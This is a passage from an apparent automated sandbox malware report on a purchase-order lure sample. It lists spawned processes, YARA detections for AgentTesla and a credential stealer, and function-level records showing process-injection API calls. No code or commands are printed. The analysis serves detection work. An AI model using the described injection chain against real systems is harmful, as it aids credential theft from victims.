00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs Detection: 33%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:31:43
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x5a0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1709180379.0000000002801000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1709180379.0000000002801000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:31:48
Start date:	01/10/2024
Path:	C:\Users\user\AppData\Roaming\Xpnzea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Xpnzea.exe"
Imagebase:	0x2e0000
File size:	537'600 bytes
MD5 hash:	0FD28ED18E522B9EEF69B57AA8BDBF8F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000008.00000002.1739735884.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:31:51
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x660000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2691701821.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2691701821.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.3%
Total number of Nodes:	378
Total number of Limit Nodes:	37

Executed Functions

Function 05CC3860 Relevance: 2.4, Strings: 1, Instructions: 1133COMMON

Download Yara Rule

Strings

4, xrefs: 05CC4235

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 380d269d74af94cb35148d27bd23bb4321c76b4731418c42a26c069dd284b66b
Instruction ID: 0bf90b586c8eda43a0eaafac576630792583103fe759735bad4a1a1132ddf945
Opcode Fuzzy Hash: 380d269d74af94cb35148d27bd23bb4321c76b4731418c42a26c069dd284b66b
Instruction Fuzzy Hash: 25B20834A002188FDB18DF95D894BADBBB6BF88701F1489D9E506AB3A4DB71DD81CF50

Function 05E3CAC8 Relevance: 1.8, Strings: 1, Instructions: 542
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 05E3CBD4

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: fac869b7eeb0eb7086bee100fdacf5a73545446fc4f507eb1f1acca4e83f64a1
Instruction ID: 8bece22605c960e055038e23458fe891ced9eb733f35c6b7e79b8df4aec3a061
Opcode Fuzzy Hash: fac869b7eeb0eb7086bee100fdacf5a73545446fc4f507eb1f1acca4e83f64a1
Instruction Fuzzy Hash: E242B275D00629CBDB64DF69CC54AD9B7B2BF89300F1486EAD44DA7250EB31AE81CF90

Function 05CC3B87 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 05CC4235

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 7b878c9856f2dd4dcf393e983c8eea51bd802445510f47a1f70c703c16e1f99d
Instruction ID: c1bcd3270d0e618b39a21760f813466a32b952c0f7466ddac5e5c205cc5f3759
Opcode Fuzzy Hash: 7b878c9856f2dd4dcf393e983c8eea51bd802445510f47a1f70c703c16e1f99d
Instruction Fuzzy Hash: 5D220B34A00214CFDB28DFA5D994BADBBB2BF48701F1485E9E509AB3A4DB719D81CF50

Function 05E3FCA0 Relevance: 1.6, APIs: 1, Instructions: 110
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05E3FD5D

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e67d9191e630e5af24dcffa37800fb7977b6d09d004c9c9d7d581ab94dd9169c
Instruction ID: 11eac29faefeefe082960b193315611085e867bc71e692fddba144a6fcc318e6
Opcode Fuzzy Hash: e67d9191e630e5af24dcffa37800fb7977b6d09d004c9c9d7d581ab94dd9169c
Instruction Fuzzy Hash: 24419AB4D00258DFDF10CFAAD985ADEFBB1BB49310F14A42AE829B7210D735A905CF54

Function 05E3FCA8 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05E3FD5D

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 10b8b3f85cacffa90e5387da320f2cc77a6e255f588284341c4101422fc7285d
Instruction ID: cbdd4e996acc4da344f3c63e1085d4309b2f7194f668923ce338c9300152bbbf
Opcode Fuzzy Hash: 10b8b3f85cacffa90e5387da320f2cc77a6e255f588284341c4101422fc7285d
Instruction Fuzzy Hash: F24199B4D00258DFCF10CFAAD985ADEFBB1BB49310F14A42AE819B7210D735A905CF54

Function 05E211C1 Relevance: 1.6, APIs: 1, Instructions: 87nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05E21256

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9865b973d195be4ff3b48963e3f9dc44dff6cc23b9fb58bfc19d015a9ddc2071
Instruction ID: 3aa70d9c2c0b40b3194814f038a953ee1e83cb959c880783ff407029196bd0b6
Opcode Fuzzy Hash: 9865b973d195be4ff3b48963e3f9dc44dff6cc23b9fb58bfc19d015a9ddc2071
Instruction Fuzzy Hash: C731DBB5D00228DFDB14CFAAD880A9EFBF1BB49310F10942AE815B7304D735AA05CF94

Function 05E211C8 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05E21256

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 36a6204cb83074e767e7e827e46fae64e8c951fbd1056c97b4b52cc23027508c
Instruction ID: 6772fa22b0044fbc541d149a1bc2daf999d77d3f2a163350b8f116c44ee0381e
Opcode Fuzzy Hash: 36a6204cb83074e767e7e827e46fae64e8c951fbd1056c97b4b52cc23027508c
Instruction Fuzzy Hash: 0031C9B5D01218DFCB14CFAAD980A9EFBF1BB49310F10942AE819B7300C775A902CF94

Function 05C97FAB Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

.z, xrefs: 05C982BF

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: .z
API String ID: 0-3598656969
Opcode ID: e6c2d838f3efb823a8d2dc9674d4be70838ec1b3cf66a3b4a27198adabf744a8
Instruction ID: 74ecde272a6e231873016c117822eb863f6043af75c473cb78bc818da1b18858
Opcode Fuzzy Hash: e6c2d838f3efb823a8d2dc9674d4be70838ec1b3cf66a3b4a27198adabf744a8
Instruction Fuzzy Hash: 99B1C670E05618DFDF18DFAAD888BADBBF2BF4A300F1094A9D409A7255EB745985CF10

Function 05E3CAB8 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

h, xrefs: 05E3CBC8

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: f00f08943a0bb57dec6082ca2cc59ac00d40df8e70341886265bfa7e16ff5e1e
Instruction ID: 9628bdae4c9ad95123c347a30833285b052c5505319eda3c00c98f6fabe939ca
Opcode Fuzzy Hash: f00f08943a0bb57dec6082ca2cc59ac00d40df8e70341886265bfa7e16ff5e1e
Instruction Fuzzy Hash: 2661C371D006298BEB64DF6ACC54BD9B7B2BF89300F14C2AAC44DB7254EB306A85CF50

Function 0278C340 Relevance: 1.0, Instructions: 983COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7215ac0a957192ca99ac7c031506f9b1a78539d40975f235afa35002427d9a56
Instruction ID: 61ec427f2d8dbfed6629b83cdf2bb575e44d1b5b4dd8300102df8ecd696d128a
Opcode Fuzzy Hash: 7215ac0a957192ca99ac7c031506f9b1a78539d40975f235afa35002427d9a56
Instruction Fuzzy Hash: 65A2C475A00228CFDB65DF69C984B99BBB2FF89304F1581E9D509AB321DB319E81CF50

Function 05C972F0 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9bf4a3e8a37c631fd0da17f248c58878f454ac536d1b6022dd4022b99d44d1
Instruction ID: 05d30b20a170443d8d4f59705e4a5cb3caae299926c6e2530a4b4d74087409ef
Opcode Fuzzy Hash: 0e9bf4a3e8a37c631fd0da17f248c58878f454ac536d1b6022dd4022b99d44d1
Instruction Fuzzy Hash: 5BE1E374E16219CFDF18CF6AD888BADBBF2FB4A304F1094A9D409A7255EB745985CF00

Function 05C972EB Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3889f7e78f13cb9e14afcef07ae645dfec9964aff77a1c5094ae0c53b1e1e954
Instruction ID: bd2d5d3ed2445d440b5b84276394043fd9571bada5f65b487a99988a0e990e89
Opcode Fuzzy Hash: 3889f7e78f13cb9e14afcef07ae645dfec9964aff77a1c5094ae0c53b1e1e954
Instruction Fuzzy Hash: 7FE1E474E16218CFDF18CF6AD848BADBBF2FB4A304F1494A9D409A7255EB745985CF00

Function 05C9F805 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59405414e552299267637c3d291510839b8bdeafa973be0181534c33ba8e61f0
Instruction ID: 7199895c41ee9eb13aabc36399b9a562dd4c5334e390992c84cd2329034a6fc5
Opcode Fuzzy Hash: 59405414e552299267637c3d291510839b8bdeafa973be0181534c33ba8e61f0
Instruction Fuzzy Hash: 5ED1E370A05219CFDB69CF6AD888BA9B7F2BB49300F1184E9D40DE7255EB309E85CF54

Function 05E22F39 Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d4510f328d0b3012f85f5dfad2d5cd7c1203504eae4d843b7f402e930ac15bb
Instruction ID: 93f84f483ad51970050ef7d8a49572416eefec6f196d137b490a9b95a20d3d90
Opcode Fuzzy Hash: 1d4510f328d0b3012f85f5dfad2d5cd7c1203504eae4d843b7f402e930ac15bb
Instruction Fuzzy Hash: 9CC13674D05228CFEB58CFA5D844BEDBBF2BB49304F1090A9D489A7259EB385D89CF00

Function 05E22F48 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e53dd7ad413ff66ea6ed102de315d492caa7946125b036dd88a69d8a02cd0d9
Instruction ID: 69f21a9160b7a06f53bf76d6d67a2874eacb5ab0761bc5f00e24f3fc2cbe11b1
Opcode Fuzzy Hash: 6e53dd7ad413ff66ea6ed102de315d492caa7946125b036dd88a69d8a02cd0d9
Instruction Fuzzy Hash: 64C13774D05228CFEB54CFA5D844BEDBBF2BB49304F1090A9D489A7259EB785D89CF10

Function 05C97509 Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e901ca152915f2a274a50ec981356443277432e314458be58370c5b784f6ad61
Instruction ID: 0be76b5663be946cb506966ae8a16c1255ef194dc5e12114b76664f414225a87
Opcode Fuzzy Hash: e901ca152915f2a274a50ec981356443277432e314458be58370c5b784f6ad61
Instruction Fuzzy Hash: E9D1D574E16219CFDF18CFAAD848BADBBF2FB4A304F1098A9D409A7255DB745985CF00

Function 0615D8C0 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd21a5139ee8beaf4a3db56cdc82c45cc18f147a6e0a7c6e760cb8da26cd094b
Instruction ID: ebd262bb82d608953e16ccdf43d291906b3c945de824a111ce832e3638b61b03
Opcode Fuzzy Hash: cd21a5139ee8beaf4a3db56cdc82c45cc18f147a6e0a7c6e760cb8da26cd094b
Instruction Fuzzy Hash: 5FD1C274E00619CFDB58DFA9D890B9DBBB2BF89300F1181A9D419AB365DB31AD81CF50

Function 05E38EE0 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32674792a67109ee49452fd716b41463c8e1d3df9e9a0388008cb77eb34badb9
Instruction ID: 7810c1f1412afe839414fb27b20b12eab44811e60a28605e6d482881f1fae6d9
Opcode Fuzzy Hash: 32674792a67109ee49452fd716b41463c8e1d3df9e9a0388008cb77eb34badb9
Instruction Fuzzy Hash: 3FB1EA70D09218CFEB14CFA6D849BEDBBF2BB45304F10A0A9D489E7256EBB55985CF01

Function 05E38374 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d3a807d13d16668396d1d16f64a92471bab4571ce031ade580830288586368
Instruction ID: 9dbace173a7e1d58bb2dd30eddccbf32eab33cc22e599a2b79216217052cd80f
Opcode Fuzzy Hash: e5d3a807d13d16668396d1d16f64a92471bab4571ce031ade580830288586368
Instruction Fuzzy Hash: 6FB1F674E06218CFEB54DFA4C948BADBBF2FB48304F5450A9D449AB251EB355D89CF10

Function 05E23C08 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2892e78357883c42ea6923ff2dfefca7d369386892e69db281ec51c75754bd6f
Instruction ID: da54f2d8a66279b4223e69b2383d17ca2744823a617b1bc0b1f74924199a2b02
Opcode Fuzzy Hash: 2892e78357883c42ea6923ff2dfefca7d369386892e69db281ec51c75754bd6f
Instruction Fuzzy Hash: 53811774E05218CFDB54DF69D484BEDBBF2BB49304F20A4A9D059A7358EB385886CF14

Function 05E23BF8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dae9d4adfda6ab6bafb27dcc55760afc170f5383456984fc194d0d2266113e0
Instruction ID: df6bd6431dfbb3537a85bbfaf263cad28f2e0a3f8dadc07facf905ca490aefaf
Opcode Fuzzy Hash: 9dae9d4adfda6ab6bafb27dcc55760afc170f5383456984fc194d0d2266113e0
Instruction Fuzzy Hash: 51812574E05218CFDB54DFA9D484BEDBBF2BB49304F20A4A9D059A7358EB385886CF10

Function 05E3A4A0 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 293923292d49349c9980b24c9fc816c6b5e8f46446d1a16198178d3fc06aef40
Instruction ID: 9783c77e55f78a813cdf6ced2c369ca21c70bcad7db783c97984336d1bd7abdd
Opcode Fuzzy Hash: 293923292d49349c9980b24c9fc816c6b5e8f46446d1a16198178d3fc06aef40
Instruction Fuzzy Hash: 9A71C270D05218DFEB14CFAAC849BDDBBF2BB89304F0091AAD499AB355E7745989CF10

Function 05E3A490 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486212936.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e30000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d65ea9cbb171946e125e2db431986d8932406260b9ff53b9e7f87f456a1e6b
Instruction ID: bbfe7ab899df50def7c515f6234fcefa4d77397725015a7c7a822a1416704357
Opcode Fuzzy Hash: d5d65ea9cbb171946e125e2db431986d8932406260b9ff53b9e7f87f456a1e6b
Instruction Fuzzy Hash: AE61C570D05218DFEB14CFAAC849BDDBBF2BB89304F0491A9D499AB254E7744989CF41

Function 05C924AC Relevance: 2.5, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 05C92997
B, xrefs: 05C929C3

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: $B
API String ID: 0-2922798824
Opcode ID: 2286420e928ea4066e96cc7f60c531e869b28c58ecd38f3502d331022b6e23fd
Instruction ID: c412f5b5d604d2b29961e3fff9a4175ee8bfd0c38a7de17681b1b038bb89802b
Opcode Fuzzy Hash: 2286420e928ea4066e96cc7f60c531e869b28c58ecd38f3502d331022b6e23fd
Instruction Fuzzy Hash: 5E11B270D1525ACFDF25DF64C98DBECBAB1FB09315F1818AAC40972240C7794A95CF14

Function 05E2052C Relevance: 1.8, APIs: 1, Instructions: 268
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05E2079F

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 458a91d72d51c60c656b5bcbd99dd23f09ecf3f4e8f8801aaab7436ee03d0946
Instruction ID: ac91270565b1e467c065cf43ec9b00e5f19d70b00516ae8e84f541f838fe22fd
Opcode Fuzzy Hash: 458a91d72d51c60c656b5bcbd99dd23f09ecf3f4e8f8801aaab7436ee03d0946
Instruction Fuzzy Hash: C9A11871D00228DFDF14CFA9C8497EEBBF1BB49304F14A169E899A7284DB748985CF85

Function 05E20538 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05E2079F

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2bdf16fcc0c5d527b16c37b27a64080a8a149651362df352045a885288e0920a
Instruction ID: 5360bfc2205ac6a85e2c87b4f975b23d7d7759c35b851f448d0b47b2eab9bf81
Opcode Fuzzy Hash: 2bdf16fcc0c5d527b16c37b27a64080a8a149651362df352045a885288e0920a
Instruction Fuzzy Hash: EBA10771D00228CFDF14CFA9C8497EEBBF1BB49314F14A169E899A7284DB748985CF85

Function 05E20FA8 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 05E21083

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8a3be08eb3ad70cfb67001a7a356a5efb34cb13c8f18811e4a67b0f251e4df43
Instruction ID: 100f824358fcd6ca728a4166f0233c26dcb550d8385f84c45560ccc72b5ca6e4
Opcode Fuzzy Hash: 8a3be08eb3ad70cfb67001a7a356a5efb34cb13c8f18811e4a67b0f251e4df43
Instruction Fuzzy Hash: 8241A8B4D01258DFDF14CFAAD984AEEBBF1BB49310F14902AE859B7200D375AA45CB54

Function 05E20FB0 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 05E21083

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 125773d0182c478011388be6e9f95485aeb3895c89efc3c4fc82cf318a225044
Instruction ID: 2d8b0a78126d9ebc8d53abfded2a4e78e6f3468efb60271f749c41decf099a75
Opcode Fuzzy Hash: 125773d0182c478011388be6e9f95485aeb3895c89efc3c4fc82cf318a225044
Instruction Fuzzy Hash: FF41A8B4D012589FDB04CFAAD984AEEFBF1BB49310F14902AE819B7200D775AA41CB64

Function 05CC90C0 Relevance: 1.6, Strings: 1, Instructions: 356COMMON

